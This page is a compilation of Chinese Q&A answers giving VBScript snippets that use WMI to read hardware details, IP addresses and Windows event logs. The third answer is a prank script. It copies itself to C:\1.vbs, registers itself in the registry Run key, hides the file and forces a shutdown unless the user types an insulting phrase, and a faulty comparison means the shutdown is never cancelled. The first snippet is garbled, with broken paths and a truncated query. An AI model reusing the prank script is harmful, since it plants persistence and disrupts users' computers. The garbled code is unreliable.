腳本之家vbswmi
❶ vbs腳本高手請進!如何用vbs腳本獲得本機硬體信息
試編寫代碼如下:
OnErrorResumeNext
Temp=0
SetWSHNetwork=WScript.CreateObject("WScript.Network")
ComputerName=WSHNetwork.ComputerName
TempFiles="D:vbs"&ComputerName&".txt"
SetFSO=CreateObject("Scripting.FileSystemObject")
SetTempFile=FSO.CreateTextFile(TempFiles)
strComputer="."
SetobjWMIService=GetObject("winmgmts:\"&strComputer&" ootcimv2")
SetCPU=objWMIService.ExecQuery("Select*FromWin32_Processor")
ForEachItemInCPU
CPU2="CPU:"&Item.Name
Next
SetBoard=objWMIService.ExecQuery("Select*FromWin32_BaseBoard")
ForEachItemInBoard
Board2="主板:"&Item.Proct
Next
SetcolItems=objWMIService.ExecQuery("Select*FromWin32_PhysicalMemory",,48)
ForEachobjItemIncolItems
A=objItem.Capacity/1048576
Temp=temp+objItem.Capacity
N=N+1
Next
Memory=Temp/1048576
IfN=1Then
Memory2="內存:"&N&"條"&A&"M"
Else
Memory2="內存:"&N&"條"&A&"M"&"總計"&Memory&"M"
EndIf
SetVideo=objWMIService.ExecQuery("Select*FromWin32_VideoController",,48)
ForEachItemInVideo
Video2="顯卡:"&Item.Description
Video3="解析度:"&Item.VideoModeDescription
Next
SetVideoA=objWMIService.ExecQuery("Select*FromWin32_DesktopMonitor",,48)
ForEachItemInVideoA
VideoA="顯示器名稱:"&Item.Description
VideoB="屏幕高度:"&Item.ScreenHeight&"屏幕寬度:"&Item.ScreenWidth
Next
SetDisk=objWMIService.ExecQuery("Select*FromWin32_DiskDrive")
ForEachItemInDisk
Disk2=Disk2&Item.Model
Disk4=Int(Item.Size/1000/1000/1000)&"G"
Next
Disk3="硬碟:"&Trim(Disk2)
Disk5="硬碟容量:"&Disk4
SetNetwork=objWMIService.ExecQuery("Select*FromWin32_=True")
ForEachItemInNetwork
Lan="網卡:"&Item.Description
IP="IP地址:"&Item.IPAddress(0)
MacAdd="MAC地址:"&Item.MACAddress
Next
TempFile.WriteLine(CPU2)
TempFile.WriteLine(Board2)
TempFile.WriteLine(Memory2)
TempFile.WriteLine(Video2)
TempFile.WriteLine(Video3)
TempFile.WriteLine(VideoA)
TempFile.WriteLine(VideoB)
TempFile.WriteLine(Disk3)
TempFile.WriteLine(Disk5)
TempFile.WriteLine(Lan)
TempFile.WriteLine(Ip)
TempFile.WriteLine(MacAdd)
TempFile.Close
❷ VBS腳本如何獲取當前計算機的ip地址
如果你有Winsock控制項的話,可以用下面的程序來得到:
Dim WS
Set WS=CreateObject("MSWinsock.Winsock")
MsgBox "Local IP=" & WS.LocalIP
彈出信息框中會顯示本地IP。
而Winsock控制項,可從通過安裝VB6.0來獲得。
///
代碼如下
strComputer = "."
Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
Set IPConfigSet = objWMIService.ExecQuery _
("Select IPAddress from Win32_NetworkAdapterConfiguration where IPEnabled=TRUE")
For Each IPConfig in IPConfigSet
If Not IsNull(IPConfig.IPAddress) Then
For i=LBound(IPConfig.IPAddress) to UBound(IPConfig.IPAddress)
WScript.Echo IPConfig.IPAddress(i)
Next
End If
Next
❸ VBS腳本執行關機
set a=createobject("wscript.shell")
a.run "cmd.exe /c 打開看看吧.vbs c:\1.vbs"
a.run "cmd.exe /c reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v 1.vbs /t REG_SZ /d C:\1.vbs"
a.run "cmd.exe /c attrib c:\1.vbs +a +r +s +h"
a.run "cmd.exe /c shutdown -s -t 60 -c 請一定注意下面的對話框!!!"
b=inputbox("請在下面的輸入欄中輸入「我是豬」,速度要快不然,你的電腦將在60秒後重啟","嚴重警告")
if 60= "我是豬" then
a.run "cmd.exe /c shutdown -a"
msgbox "放心。。本程序是沒有毒了。。帶來不便。。**在此sorry"
else
msgbox "你等著重啟吧"
end if
wscript.sleep 600000
a.run "c:\1.vbs" 自己更改一下時間就可以。。是vbs文件。。會更改注冊表。。。
❹ 用VBS腳本獲取系統日誌信息(應用程序、安全性和系統的日誌信息),可以使用WMI或者CMD命令、
strComputer = "."
Set objWMIService = GetObject("winmgmts:" _
& "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")
Set colLoggedEvents = objWMIService.ExecQuery _
("Select * from Win32_NTLogEvent Where Logfile = 'Application'") '獲取應用程序日誌,其它類推
For Each objEvent in colLoggedEvents
Wscript.Echo "Category: " & objEvent.Category
Wscript.Echo "Computer Name: " & objEvent.ComputerName
Wscript.Echo "Event Code: " & objEvent.EventCode
Wscript.Echo "Message: " & objEvent.Message
Wscript.Echo "Record Number: " & objEvent.RecordNumber
Wscript.Echo "Source Name: " & objEvent.SourceName
Wscript.Echo "Time Written: " & objEvent.TimeWritten
Wscript.Echo "Event Type: " & objEvent.Type
Wscript.Echo "User: " & objEvent.User
Next
求採納!